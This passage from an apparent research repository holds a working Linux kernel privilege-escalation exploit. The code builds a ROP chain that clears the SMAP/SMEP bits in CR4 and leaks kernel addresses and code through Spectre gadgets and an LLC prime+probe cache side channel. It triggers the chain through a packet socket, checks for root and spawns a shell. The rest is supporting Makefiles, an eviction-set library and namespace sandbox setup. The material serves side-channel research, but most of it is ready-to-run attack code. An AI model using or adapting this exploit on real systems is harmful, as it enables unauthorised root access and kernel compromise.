(buffer + 0x10) = core_rop_chain_base; // => popped into RSP 358 | size += 8; 359 | print_status_blocks(arb_mem_writer->iov); 360 | oob_write(buffer+2, size-2); 361 | usleep(50000); 362 | 363 | // write core rop chain 364 | // 1: prepare chain 365 | //set_arb_mem_writer_pos(0x800 + 0x600); // make writer point to rop chain location 366 | memset(buffer, 0, sizeof(buffer)); 367 | size = 0; 368 | // 1.1: finish GADGET_POP_RSP 369 | *(unsigned long*) (buffer + size) = 0x0; // => popped into RBP 370 | size += 8; 371 | // 1.2: load CR4 into RAX 372 | *(unsigned long*) (buffer + size) = mov_rax_cr4; // mov rax, cr4 ; pop rbp ; ret 373 | size += 8 + 8; 374 | // 1.3: unset SMAP/SMEP registers in RAX 375 | *(unsigned long*) (buffer + size) = pop_rdx; // pop rdx ; ret 376 | size += 8; 377 | *(unsigned long*) (buffer + size) = 0xffffffffffcfffff; // => popped into RDX #mask with SMAP and SMEP bits (21,20) unset 378 | size += 8; 379 | *(unsigned long*) (buffer + size) = and_rax_rdx; // and rax, rdx ; ret 380 | size += 8; 381 | // 1.4: move RAX to RDI 382 | *(unsigned long*) (buffer + size) = pop_rdx; // pop rdx ; ret 383 | size += 8; 384 | *(unsigned long*) (buffer + size) = core_rop_chain_base + size + 0x18; // => popped into RDX #pointing to the placeholder for updated CR4, see below 385 | size += 8; 386 | *(unsigned long*) (buffer + size) = save_rax; // mov qword ptr [rdx], rax ; ret 387 | size += 8; 388 | // 1.5: move RDI to CR4 389 | *(unsigned long*) (buffer + size) = pop_rdi; // pop rdi ; ret 390 | size += 8; 391 | *(unsigned long*) (buffer + size) = 0xdeadbeefdeadbeef; // => popped into RDI #placeholder for the updated CR4 value 392 | size += 8; 393 | *(unsigned long*) (buffer + size) = mov_cr4_rdi; // mov cr4, rdi ; pop rbp ; ret 394 | size += 8 + 8; 395 | // 1.6: change control flow to user space 396 | *(unsigned long*) (buffer + size) = (unsigned long) &userspace_wrapper; 397 | size += 8; 398 | 399 | memcpy((void*)(user_page+0x600), buffer, size); 400 | 401 | printf("[.] crafted and wrote the ROP chain in user page at physmap addr 0x%lx.\n", (unsigned long) (user_page_physmap_addr)); 402 | fflush(stdout); 403 | usleep(50000); 404 | } 405 | 406 | void execute_payload() { 407 | char buffer[16]; 408 | int size = sizeof(buffer); 409 | struct sockaddr_ll sa; 410 | memset(&sa, 0, sizeof(sa)); 411 | sa.sll_ifindex = if_nametoindex("lo"); 412 | sa.sll_halen = ETH_ALEN; 413 | 414 | printf("[.] triggering ROP chain..\n"); 415 | fflush(stdout); 416 | sleep(2); 417 | 418 | sendto(specex_socket_second, buffer, size, 0, (struct sockaddr *)&sa, sizeof(sa)); 419 | 420 | printf("[.] triggering ROP chain.. DONE\n"); 421 | } 422 | 423 | void init_matrices(); 424 | int main(int argc, char **argv) { 425 | srand(time(NULL)); 426 | 427 | printf("[#] This PoC exploit is a modified version of\n"); 428 | printf("[#] https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c\n"); 429 | printf("[#] So you might recognize overlapping lines.\n"); 430 | 431 | printf("\n[.] starting\n"); 432 | start_timer_total_exec(); 433 | 434 | setup_sandbox(); 435 | 436 | set_cpu(MAIN_THREAD_CPU_ID); 437 | 438 | init_matrices(); 439 | 440 | printf("\n[.] find LLC eviction sets..\n"); 441 | printf("[.] using eviction set generation method: %s\n", PP_EVICSET_GEN_METHOD); 442 | pp_create_eviction_sets(PP_EVICSET_GEN_METHOD, LLC_SIZE_IN_MB, LLC_ASSOCIATIVITY); 443 | printf("[.] find LLC eviction sets.. DONE\n"); 444 | 445 | prepare_memory_layout(); 446 | find_necessary_items(); 447 | free_unneeded_objects(); 448 | 449 | init_specex_leaks(); 450 | 451 | start_flag_eviction_in_co_thread(); 452 | 453 | unsigned long kernel_base_address = find_kernel_image(); 454 | 455 | unsigned long spectre_gadget_addr = find_spectre_gadget(kernel_base_address); 456 | 457 | unsigned long heap_base_address = find_heap_base_spectre(spectre_gadget_addr); 458 | 459 | unsigned long user_page = (unsigned long) mmap(NULL, USER_PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0); 460 | if (user_page == (unsigned long) MAP_FAILED) { 461 | perror("mmap"); 462 | exit(1); 463 | } 464 | memset((char*)user_page, 0x3c, USER_PAGE_SIZE); 465 | 466 | unsigned long physmap_addr = find_user_page_in_physmap(user_page, USER_PAGE_SIZE, heap_base_address, spectre_gadget_addr, kernel_base_address); 467 | 468 | spectre_gadget_addr = find_spectre_gadget_start(spectre_gadget_addr, kernel_base_address, 0x8a55b8ul, user_page, physmap_addr); 469 | leak_kernel_code(spectre_gadget_addr, kernel_base_address, 0x8a55b8ul, user_page, physmap_addr); 470 | 471 | char *kernel_code_bytes = NULL; 472 | unsigned long code_size = 0; 473 | get_kernel_code_bytes(&kernel_code_bytes, &code_size); 474 | 475 | find_gadgets_and_functions(kernel_base_address, kernel_code_bytes, code_size); 476 | write_payload(user_page, physmap_addr); // write payload in user page 477 | execute_payload(); // trigger payload with the specex socket 478 | 479 | int got_root = check_root(); 480 | stop_timer_total_exec(); 481 | 482 | if (got_root) { 483 | // Fork and exec instead of just doing the exec to avoid potential 484 | // memory corruptions when closing packet sockets. 485 | fork_shell(); 486 | } 487 | 488 | munmap((void*)user_page, USER_PAGE_SIZE); 489 | 490 | close_specex_leaks(); 491 | 492 | // stop flag evicting thread 493 | stop_co_thread(); 494 | 495 | pp_close(); 496 | 497 | // make poc process sleep infinitely 498 | fflush(stdout); 499 | fflush(stderr); 500 | while (1) sleep(1000); 501 | 502 | return 0; 503 | } 504 | -------------------------------------------------------------------------------- /exploits/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | make -C ./1_breaking_coarse_grained_kaslr 3 | make -C ./2_speculative_data_only_attack 4 | make -C ./3_breaking_software_based_xom 5 | 6 | clean: 7 | make -C ./1_breaking_coarse_grained_kaslr clean 8 | make -C ./2_speculative_data_only_attack clean 9 | make -C ./3_breaking_software_based_xom clean 10 | -------------------------------------------------------------------------------- /exploits/common/cache_channel/Makefile: -------------------------------------------------------------------------------- 1 | APP_DIR := $(patsubst %/,%,$(dir $(abspath $(firstword $(MAKEFILE_LIST))))) 2 | EVSETS_DIR := $(APP_DIR)/../../../evsets 3 | KMOD_DIR := $(APP_DIR)/../../../kmod/ 4 | 5 | CFLAGS += -g -O2 -Wunused-variable -Wunused-function 6 | 7 | all: libllc_prime_probe.so 8 | 9 | libllc_prime_probe.so: llc_prime_probe.c llc_prime_probe.h calib.h $(KMOD_DIR)/libkmod_driver.so $(EVSETS_DIR)/libevsets.so 10 | gcc $(CFLAGS) -I$(EVSETS_DIR) -L$(EVSETS_DIR) -Wl,-rpath=$(EVSETS_DIR) \ 11 | -I$(KMOD_DIR) -L$(KMOD_DIR) -Wl,-rpath=$(KMOD_DIR) \ 12 | -o libllc_prime_probe.so llc_prime_probe.c -shared -fpic -lm -levsets -lkmod_driver 13 | 14 | $(KMOD_DIR)/libkmod_driver.so: 15 | cd $(KMOD_DIR) && make 16 | 17 | $(EVSETS_DIR)/libevsets.so: 18 | cd $(EVSETS_DOR) && make 19 | 20 | clean: 21 | rm libllc_prime_probe.so 22 | -------------------------------------------------------------------------------- /exploits/common/cache_channel/calib.h: -------------------------------------------------------------------------------- 1 | #ifndef _CALIB_H_ 2 | #define _CALIB_H_ 3 | 4 | // Eviction set creations are tested on Intel CPU E3-1270 v6 5 | // with an LLC cache of 8MB and 16-way cache associativity. 6 | 7 | #define PAGE_SIZE 4096 // bytes 8 | #define LLC_WAYS 16 // = num cachelines in cacheset 9 | #define NUM_CACHELINES_IN_CACHESET LLC_WAYS 10 | #define CACHELINE_SIZE 64 // bytes 11 | #define NUM_CACHELINES_IN_PAGE (PAGE_SIZE / CACHELINE_SIZE) 12 | #define EXPECTED_NUM_EVICTION_SETS 128 // = LLC_SIZE / (64 cacheline size * LLC_WAYS lines in cacheset) / (64 cachesets in a page) 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /exploits/common/cache_channel/llc_prime_probe.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "evsets_api.h" 11 | #include "kmod_driver.h" 12 | #include "llc_prime_probe.h" 13 | #include "calib.h" 14 | 15 | #define ASSERT(x) \ 16 | do { if(!(x)) { \ 17 | fprintf(stderr, "%s:%d: assert %s failed\n", __FILE__, __LINE__, #x); abort(); \ 18 | } } while(0) 19 | 20 | #define POOLPAGES 10000 21 | #define REMOVED_TARGET_PAGE_IDX -1 22 | 23 | #define MAX_EVICSET_CANDIDATES 1300 24 | 25 | #define NUM_CORES 8 26 | 27 | // HUGE memory region 28 | // pages in this region are used to create eviction sets 29 | static volatile char *pool = NULL; 30 | 31 | // eviction_sets contains the found eviction sets 32 | #define EVICTION_SETS 300 33 | int eviction_sets[EVICTION_SETS][NUM_CACHELINES_IN_CACHESET]; 34 | int num_eviction_sets = 0; 35 | int created_eviction_sets = 0; 36 | 37 | typedef struct evicset_dll { 38 | volatile char *target; // points to an aligned-page address 39 | struct evicset_dll * next; 40 | struct evicset_dll * prev; 41 | } evicset_dll_t; 42 | 43 | // Eviction set addresses stored in a doubly linked list: 44 | evicset_dll_t evicset_dll_arr[MAX_EVICSET_CANDIDATES]; 45 | int nfree_evicset_dll_arr; // rm / change name 46 | evicset_dll_t *first, *last; 47 | 48 | void create_evicset_dll(int *evicset, int num_evicset_items) { 49 | int i; 50 | evicset_dll_t *node_top = NULL, *node = NULL; 51 | 52 | ASSERT(num_evicset_items <= MAX_EVICSET_CANDIDATES); 53 | nfree_evicset_dll_arr = MAX_EVICSET_CANDIDATES; // this builds by starting at end 54 | first = last = NULL; 55 | 56 | for(i=0; i < num_evicset_items; i++) { 57 | if(evicset[i] == REMOVED_TARGET_PAGE_IDX) continue; 58 | 59 | nfree_evicset_dll_arr--; 60 | node = &evicset_dll_arr[nfree_evicset_dll_arr]; 61 | 62 | node->prev = node_top; 63 | if(node_top) { node_top->next = node; } 64 | node_top = node; 65 | if(!first) { first = node_top; } 66 | 67 | node_top->target = (volatile char *) &pool[evicset[i] * PAGE_SIZE]; 68 | node_top->next = NULL; 69 | } 70 | 71 | last = node_top; 72 | } 73 | 74 | void access_evicset_dll(int offset) { 75 | evicset_dll_t * e; 76 | asm __volatile__ ( 77 | "mfence \n" 78 | "lfence \n" 79 | ::: 80 | ); 81 | for(e = first; e; e=e->next) { 82 | *(e->target+offset); 83 | } 84 | 85 | for(e = last; e; e=e->prev) { 86 | *(e->target+offset); 87 | } 88 | 89 | for(e = first; e; e=e->next) { 90 | *(e->target+offset); 91 | } 92 | 93 | for(e = last; e; e=e->prev) { 94 | *(e->target+offset); 95 | } 96 | asm __volatile__ ( 97 | "mfence \n" 98 | "lfence \n" 99 | ::: 100 | ); 101 | } 102 | 103 | static inline uint64_t rdtsc(void) { 104 | uint64_t a, d; 105 | asm volatile ("rdtscp" : "=a" (a), "=d" (d) : : "rcx"); 106 | a = (d<<32) | a; 107 | return a; 108 | } 109 | 110 | #define POOL_ALIGNMENT (1024*1024*2) 111 | void init(){ 112 | time_t t; 113 | srand((unsigned) time(&t)); 114 | 115 | pool = mmap(NULL, POOLPAGES * PAGE_SIZE + POOL_ALIGNMENT, PROT_READ|PROT_WRITE, 116 | MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); 117 | ASSERT(pool != MAP_FAILED); 118 | int off = (uint64_t) pool%POOL_ALIGNMENT; 119 | if(off) pool += (POOL_ALIGNMENT-off); 120 | memset((char *) pool, 0xf1, POOLPAGES * PAGE_SIZE); 121 | } 122 | 123 | // Source: 124 | // See Table 3 in https://cmaurice.fr/pdf/raid15_maurice.pdf 125 | int get_llc_slice(unsigned long long phys_addr, int num_cores){ 126 | unsigned long long bit0 = 0; 127 | unsigned long long bit1 = 0; 128 | unsigned long long bit2 = 0; 129 | 130 | switch(num_cores){ 131 | case 8: 132 | bit0 ^= (phys_addr & ((unsigned long long)1<<35)) >> 35; 133 | bit0 ^= (phys_addr & ((unsigned long long)1<<36)) >> 36; 134 | 135 | bit1 ^= (phys_addr & ((unsigned long long)1<<35)) >> 35; 136 | bit1 ^= (phys_addr & ((unsigned long long)1<<37)) >> 37; 137 | 138 | bit2 ^= (phys_addr & ((unsigned long long)1<<8)) >> 8; 139 | bit2 ^= (phys_addr & ((unsigned long long)1<<12)) >> 12; 140 | bit2 ^= (phys_addr & ((unsigned long long)1<<13)) >> 13; 141 | bit2 ^= (phys_addr & ((unsigned long long)1<<16)) >> 16; 142 | bit2 ^= (phys_addr & ((unsigned long long)1<<19)) >> 19; 143 | bit2 ^= (phys_addr & ((unsigned long long)1<<22)) >> 22; 144 | bit2 ^= (phys_addr & ((unsigned long long)1<<23)) >> 23; 145 | bit2 ^= (phys_addr & ((unsigned long long)1<<26)) >> 26; 146 | bit2 ^= (phys_addr & ((unsigned long long)1<<27)) >> 27; 147 | bit2 ^= (phys_addr & ((unsigned long long)1<<30)) >> 30; 148 | bit2 ^= (phys_addr & ((unsigned long long)1<<31)) >> 31; 149 | bit2 ^= (phys_addr & ((unsigned long long)1<<34)) >> 34; 150 | bit2 ^= (phys_addr & ((unsigned long long)1<<35)) >> 35; 151 | bit2 ^= (phys_addr & ((unsigned long long)1<<36)) >> 36; 152 | bit2 ^= (phys_addr & ((unsigned long long)1<<37)) >> 37; 153 | case 4: 154 | bit0 ^= (phys_addr & ((unsigned long long)1<<33)) >> 33; 155 | 156 | bit1 ^= (phys_addr & ((unsigned long long)1<<7)) >> 7; 157 | bit1 ^= (phys_addr & ((unsigned long long)1<<11)) >> 11; 158 | bit1 ^= (phys_addr & ((unsigned long long)1<<13)) >> 13; 159 | bit1 ^= (phys_addr & ((unsigned long long)1<<15)) >> 15; 160 | bit1 ^= (phys_addr & ((unsigned long long)1<<17)) >> 17; 161 | bit1 ^= (phys_addr & ((unsigned long long)1<<19)) >> 19; 162 | bit1 ^= (phys_addr & ((unsigned long long)1<<20)) >> 20; 163 | bit1 ^= (phys_addr & ((unsigned long long)1<<21)) >> 21; 164 | bit1 ^= (phys_addr & ((unsigned long long)1<<22)) >> 22; 165 | bit1 ^= (phys_addr & ((unsigned long long)1<<23)) >> 23; 166 | bit1 ^= (phys_addr & ((unsigned long long)1<<24)) >> 24; 167 | bit1 ^= (phys_addr & ((unsigned long long)1<<26)) >> 26; 168 | bit1 ^= (phys_addr & ((unsigned long long)1<<28)) >> 28; 169 | bit1 ^= (phys_addr & ((unsigned long long)1<<29)) >> 29; 170 | bit1 ^= (phys_addr & ((unsigned long long)1<<31)) >> 31; 171 | bit1 ^= (phys_addr & ((unsigned long long)1<<33)) >> 33; 172 | bit1 ^= (phys_addr & ((unsigned long long)1<<34)) >> 34; 173 | case 2: 174 | bit0 ^= (phys_addr & ((unsigned long long)1<<6)) >> 6; 175 | bit0 ^= (phys_addr & ((unsigned long long)1<<10)) >> 10; 176 | bit0 ^= (phys_addr & ((unsigned long long)1<<12)) >> 12; 177 | bit0 ^= (phys_addr & ((unsigned long long)1<<14)) >> 14; 178 | bit0 ^= (phys_addr & ((unsigned long long)1<<16)) >> 16; 179 | bit0 ^= (phys_addr & ((unsigned long long)1<<17)) >> 17; 180 | bit0 ^= (phys_addr & ((unsigned long long)1<<18)) >> 18; 181 | bit0 ^= (phys_addr & ((unsigned long long)1<<20)) >> 20; 182 | bit0 ^= (phys_addr & ((unsigned long long)1<<22)) >> 22; 183 | bit0 ^= (phys_addr & ((unsigned long long)1<<24)) >> 24; 184 | bit0 ^= (phys_addr & ((unsigned long long)1<<25)) >> 25; 185 | bit0 ^= (phys_addr & ((unsigned long long)1<<26)) >> 26; 186 | bit0 ^= (phys_addr & ((unsigned long long)1<<27)) >> 27; 187 | bit0 ^= (phys_addr & ((unsigned long long)1<<28)) >> 28; 188 | bit0 ^= (phys_addr & ((unsigned long long)1<<30)) >> 30; 189 | bit0 ^= (phys_addr & ((unsigned long long)1<<32)) >> 32; 190 | break; 191 | default: 192 | fprintf(stderr, "Num cores (%d) not supported.\n", num_cores); 193 | exit(1); 194 | } 195 | 196 | return (int) (bit0 + (bit1<<1) + (bit2<<2) ); 197 | } 198 | 199 | int get_set_id(unsigned long long phys_addr, int num_cores){ 200 | // Assuming 8192 cache sets and 64b cachelines. 201 | // To grab the log2(8192/4[cores])=11 bits starting from bit 6 (2**6==64): 202 | int mask = (((unsigned long long)1 << (int)log2(8192/num_cores)) - 1) << 6; 203 | 204 | return (int)((phys_addr & mask) >> 6); 205 | } 206 | 207 | int get_evicset_idx(unsigned long long phys_addr, int num_cores){ 208 | // With 8MB cache, 64b cachelines, 16 LLC_WAYS, and 64 cachelines per page 209 | // we have 128 eviction sets 210 | return get_llc_slice(phys_addr,num_cores)*(128/num_cores) 211 | + get_set_id(phys_addr,num_cores)/64; // 64 cachelines per page 212 | } 213 | 214 | int count_selected_pages[128]; 215 | void create_evicsets_with_kmod(){ 216 | int total_pages = 128 * 16; // 128 eviction sets, 16 cachelines 217 | int saved_pages = 0; 218 | int page_idx = 0; 219 | void *virt_addr; 220 | void *phys_addr; 221 | int num_cores = NUM_CORES; 222 | 223 | memset(count_selected_pages,0,sizeof(count_selected_pages)); 224 | 225 | while(saved_pages < total_pages){ 226 | virt_addr = (void*)&pool[0x1000 * page_idx]; 227 | if(kd_get_phys_addr(virt_addr, &phys_addr)){ 228 | fprintf(stderr, "Virt to phys addr translation failed. exiting..\n"); 229 | exit(1); 230 | } 231 | int evicset_idx = get_evicset_idx((unsigned long long)phys_addr, num_cores); 232 | if(count_selected_pages[evicset_idx] < LLC_WAYS){ 233 | eviction_sets[evicset_idx][count_selected_pages[evicset_idx]] = page_idx; 234 | count_selected_pages[evicset_idx] += 1; 235 | saved_pages += 1; 236 | } 237 | 238 | page_idx += 1; 239 | } 240 | 241 | num_eviction_sets = 128; 242 | created_eviction_sets = 1; 243 | } 244 | 245 | int last_primed_evicset_idx = -1; 246 | 247 | void create_evicset_dll_evsets(Elem *evset) { 248 | evicset_dll_t *node_top = NULL, *node = NULL; 249 | 250 | nfree_evicset_dll_arr = MAX_EVICSET_CANDIDATES; // this builds by starting at end 251 | first = last = NULL; 252 | 253 | while (evset) { 254 | nfree_evicset_dll_arr--; 255 | node = &evicset_dll_arr[nfree_evicset_dll_arr]; 256 | 257 | node->prev = node_top; 258 | if(node_top) { node_top->next = node; } 259 | node_top = node; 260 | if(!first) { first = node_top; } 261 | 262 | node_top->target = (volatile char *) evset; 263 | node_top->next = NULL; 264 | 265 | evset = evset->next; 266 | } 267 | 268 | last = node_top; 269 | } 270 | 271 | #define GEN_METHOD_EVSETS 1 272 | #define GEN_METHOD_KMOD 2 273 | int __gen_method = 0; 274 | int __llc_cache_size = 0; 275 | int __llc_associativity = 0; 276 | 277 | int __create_eviction_sets() { 278 | struct config evsets_conf = { 279 | .rounds = 10, 280 | .cal_rounds = 1000000, 281 | .stride = 4096, 282 | .cache_size = __llc_cache_size << 20, 283 | .cache_way = __llc_associativity, 284 | .cache_slices = 4, 285 | .ignoreslice = true, 286 | .verbose = false, 287 | .no_huge_pages = true, 288 | .calibrate = true, 289 | .algorithm = ALGORITHM_GROUP, 290 | .strategy = 2, 291 | .offset = 0, 292 | .retry = true, 293 | .backtracking = true, 294 | .verify = false, 295 | .debug = false, 296 | .con = 0, 297 | .noncon = 0, 298 | .ratio = -1.0, 299 | // calculate #pages that fit in LLC and double that number: 300 | .buffer_size = (__llc_cache_size << 20) / 4096 * 2, 301 | .findallcolors = true, 302 | .findallcongruent = false, 303 | .conflictset = false, 304 | }; 305 | 306 | switch (__gen_method) { 307 | case GEN_METHOD_EVSETS: 308 | if (init_evsets(&evsets_conf)) { 309 | printf("[-] init_evsets failed\n"); 310 | return 1; 311 | } 312 | 313 | if (find_evsets()) { 314 | printf("[-] find_evsets failed\n"); 315 | close_evsets(); 316 | return 1; 317 | } 318 | 319 | num_eviction_sets = get_num_evsets(); 320 | atexit(close_evsets); 321 | break; 322 | 323 | case GEN_METHOD_KMOD: 324 | init(); 325 | create_evicsets_with_kmod(); 326 | ASSERT(num_eviction_sets == EXPECTED_NUM_EVICTION_SETS); 327 | break; 328 | 329 | default: 330 | fprintf(stderr, "Provided library unrecognized..\n"); 331 | return -1; 332 | } 333 | 334 | created_eviction_sets = 1; 335 | 336 | return 0; 337 | } 338 | 339 | int pp_create_eviction_sets(const char *evicset_gen_method, int llc_cache_size, int llc_associativity) { 340 | if (created_eviction_sets) { 341 | return 0; 342 | } 343 | 344 | if (!evicset_gen_method) { 345 | fprintf(stderr, "Missing prime probe library..\n"); 346 | return -1; 347 | } 348 | 349 | if (llc_cache_size == 0 || llc_cache_size < 0) { 350 | fprintf(stderr, "Invalid cache size: %d\n", llc_cache_size); 351 | return -1; 352 | } 353 | 354 | if (llc_associativity == 0 || llc_associativity < 0) { 355 | fprintf(stderr, "Invalid cache associativity: %d\n", llc_associativity); 356 | return -1; 357 | } 358 | 359 | if (strcmp(evicset_gen_method, "evsets") == 0) { 360 | __gen_method = GEN_METHOD_EVSETS; 361 | } else if (strcmp(evicset_gen_method, "kmod") == 0) { 362 | __gen_method = GEN_METHOD_KMOD; 363 | } else { 364 | fprintf(stderr, "Provided library unrecognized..\n"); 365 | return -1; 366 | } 367 | 368 | __llc_cache_size = llc_cache_size; 369 | __llc_associativity = llc_associativity; 370 | 371 | if (__create_eviction_sets()) { 372 | return 1; 373 | } 374 | 375 | return 0; 376 | } 377 | 378 | int pp_close() { 379 | if (!created_eviction_sets) { 380 | return 0; 381 | } 382 | 383 | if (__gen_method == GEN_METHOD_EVSETS) { 384 | close_evsets(); 385 | } else if (__gen_method == GEN_METHOD_KMOD) { 386 | if (munmap((void*)pool, POOLPAGES * PAGE_SIZE + POOL_ALIGNMENT)) { 387 | perror("munmap"); 388 | return 1; 389 | } 390 | pool = NULL; 391 | } 392 | 393 | created_eviction_sets = 0; 394 | num_eviction_sets = 0; 395 | last_primed_evicset_idx = -1; 396 | 397 | return 0; 398 | } 399 | 400 | int pp_get_evicset_pages(int evicset_idx, char **arr, int size) { 401 | if(!created_eviction_sets) { 402 | fprintf(stderr, "Error: eviction sets not available..\n"); 403 | return -1; 404 | } 405 | 406 | int num_pages = 0; 407 | if (__gen_method == GEN_METHOD_EVSETS) { 408 | Elem* evset = get_evset(evicset_idx); 409 | 410 | while (evset && num_pages < size) { 411 | arr[num_pages] = (char*) evset; 412 | evset = evset->next; 413 | num_pages += 1; 414 | } 415 | } else if (__gen_method == GEN_METHOD_KMOD) { 416 | void *virt_addr; 417 | void *phys_addr; 418 | int num_cores = NUM_CORES; 419 | int page_idx = 0; 420 | 421 | while(num_pages < size){ 422 | virt_addr = (void*)&pool[0x1000 * page_idx]; 423 | if(kd_get_phys_addr(virt_addr, &phys_addr)){ 424 | fprintf(stderr, "Virt to phys addr translation failed. exiting..\n"); 425 | exit(1); 426 | } 427 | int page_evicset_idx = get_evicset_idx((unsigned long long)phys_addr, num_cores); 428 | if(evicset_idx == page_evicset_idx){ 429 | arr[num_pages] = virt_addr; 430 | num_pages += 1; 431 | } 432 | 433 | page_idx += 1; 434 | } 435 | } else { 436 | fprintf(stderr, "Error: getting eviction set pages unavailable. evicset_gen_method:%d..\n", __gen_method); 437 | return -1; 438 | } 439 | 440 | return num_pages; 441 | } 442 | 443 | // avoiding error checking to keep noise minimal 444 | void pp_prime_cacheset(int evicset_idx, int cacheset_idx) { 445 | evicset_idx = evicset_idx % num_eviction_sets; 446 | 447 | if(evicset_idx != last_primed_evicset_idx){ 448 | if (__gen_method == GEN_METHOD_EVSETS) { 449 | create_evicset_dll_evsets(get_evset(evicset_idx)); 450 | } else if (__gen_method == GEN_METHOD_KMOD){ 451 | create_evicset_dll(eviction_sets[evicset_idx], NUM_CACHELINES_IN_CACHESET); 452 | } 453 | } 454 | 455 | access_evicset_dll(cacheset_idx * CACHELINE_SIZE); 456 | 457 | last_primed_evicset_idx = evicset_idx; 458 | } 459 | 460 | // ignoring error checking to keep noise minimal 461 | unsigned long pp_probe_cacheset_access_time(int evicset_idx, int cacheset_idx) { 462 | evicset_dll_t * e; 463 | evicset_idx = evicset_idx % num_eviction_sets; 464 | 465 | int offset = cacheset_idx * CACHELINE_SIZE; 466 | 467 | asm __volatile__ ( 468 | //"mfence \n" 469 | "lfence \n" 470 | ::: 471 | ); 472 | uint64_t t0 = rdtsc(); 473 | asm __volatile__ ( 474 | //"mfence \n" 475 | "lfence \n" 476 | ::: 477 | ); 478 | 479 | for(e = first; e; e=e->next){ 480 | *(e->target + offset); 481 | } 482 | 483 | asm __volatile__ ( 484 | //"mfence \n" 485 | "lfence \n" 486 | ::: 487 | ); 488 | 489 | return rdtsc() - t0; 490 | } 491 | -------------------------------------------------------------------------------- /exploits/common/cache_channel/llc_prime_probe.h: -------------------------------------------------------------------------------- 1 | #ifndef _LLC_PRIME_PROBE_H_ 2 | #define _LLC_PRIME_PROBE_H_ 3 | 4 | int pp_create_eviction_sets(const char *evicset_gen_method, int llc_cache_size, 5 | int llc_associativity); 6 | int pp_close(); 7 | int pp_get_evicset_pages(int evicset_idx, char **arr, int size); 8 | void pp_prime_cacheset(int evicset_idx, int cacheset_idx); 9 | unsigned long pp_probe_cacheset_access_time(int evicset_idx, int cacheset_idx); 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /exploits/common/envprep/envprep.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | bool write_file(const char* file, const char* what, ...) { 16 | char buf[1024]; 17 | va_list args; 18 | va_start(args, what); 19 | vsnprintf(buf, sizeof(buf), what, args); 20 | va_end(args); 21 | buf[sizeof(buf) - 1] = 0; 22 | int len = strlen(buf); 23 | 24 | int fd = open(file, O_WRONLY | O_CLOEXEC); 25 | if (fd == -1) 26 | return false; 27 | if (write(fd, buf, len) != len) { 28 | close(fd); 29 | return false; 30 | } 31 | close(fd); 32 | return true; 33 | } 34 | 35 | // Source: https://stackoverflow.com/a/4077000 36 | #define FD_LIMIT 65535 37 | int increase_fd_limit() { 38 | struct rlimit limit; 39 | 40 | /* Get max number of files. */ 41 | if (getrlimit(RLIMIT_NOFILE, &limit) != 0) { 42 | printf("[-] getrlimit() failed with errno=%d\n", errno); 43 | return 1; 44 | } 45 | 46 | #if DEBUGGING 47 | printf("[D] The soft rlimit is %llu\n", (unsigned long long) limit.rlim_cur); 48 | printf("[D] The hard rlimit is %llu\n", (unsigned long long) limit.rlim_max); 49 | #endif 50 | 51 | limit.rlim_cur = FD_LIMIT; 52 | limit.rlim_max = FD_LIMIT; 53 | if (setrlimit(RLIMIT_NOFILE, &limit) != 0) { 54 | printf("[-] setrlimit() failed with errno=%d\n", errno); 55 | return 1; 56 | } 57 | 58 | /* Get max number of files. */ 59 | if (getrlimit(RLIMIT_NOFILE, &limit) != 0) { 60 | printf("[-] getrlimit() failed with errno=%d\n", errno); 61 | return 1; 62 | } 63 | 64 | #if DEBUGGING 65 | printf("[D] The new soft rlimit is %llu\n", (unsigned long long) limit.rlim_cur); 66 | printf("[D] The new hard rlimit is %llu\n", (unsigned long long) limit.rlim_max); 67 | #endif 68 | 69 | if (limit.rlim_cur != FD_LIMIT || limit.rlim_max != FD_LIMIT) { 70 | printf("[-] Setting rlimit to %d failed.\n", FD_LIMIT); 71 | return 1; 72 | } 73 | 74 | #if DEBUGGING 75 | /* Also children will be affected: */ 76 | printf("[D] $ bash -c 'ulimit -a'\n"); 77 | system("bash -c 'ulimit -a'"); 78 | #endif 79 | 80 | return 0; 81 | } 82 | 83 | void setup_sandbox() { 84 | int real_uid = getuid(); 85 | int real_gid = getgid(); 86 | 87 | if (unshare(CLONE_NEWUSER) != 0) { 88 | perror("[-] unshare(CLONE_NEWUSER)"); 89 | exit(EXIT_FAILURE); 90 | } 91 | 92 | if (unshare(CLONE_NEWNET) != 0) { 93 | perror("[-] unshare(CLONE_NEWUSER)"); 94 | exit(EXIT_FAILURE); 95 | } 96 | 97 | if (!write_file("/proc/self/setgroups", "deny")) { 98 | perror("[-] write_file(/proc/self/set_groups)"); 99 | exit(EXIT_FAILURE); 100 | } 101 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ 102 | perror("[-] write_file(/proc/self/uid_map)"); 103 | exit(EXIT_FAILURE); 104 | } 105 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 106 | perror("[-] write_file(/proc/self/gid_map)"); 107 | exit(EXIT_FAILURE); 108 | } 109 | 110 | cpu_set_t my_set; 111 | CPU_ZERO(&my_set); 112 | CPU_SET(0, &my_set); 113 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 114 | perror("[-] sched_setaffinity()"); 115 | exit(EXIT_FAILURE); 116 | } 117 | 118 | if (system("/sbin/ifconfig lo up") != 0) { 119 | perror("[-] system(/sbin/ifconfig lo up)"); 120 | exit(EXIT_FAILURE); 121 | } 122 | 123 | if(increase_fd_limit()) { 124 | printf("[-] increasing fd limit failed"); 125 | exit(EXIT_FAILURE); 126 | } 127 | 128 | printf("[.] namespace sandbox set up\n"); 129 | } 130 | 131 | void set_cpu(int cpu_id) { 132 | cpu_set_t cpuset; 133 | 134 | CPU_ZERO(&cpuset); 135 | CPU_SET(cpu_id, &cpuset); 136 | 137 | int r = pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset); 138 | if (r != 0) { 139 | printf("[-] failed to set cpu affinity to %d\n", cpu_id); 140 | exit(1); 141 | } 142 | 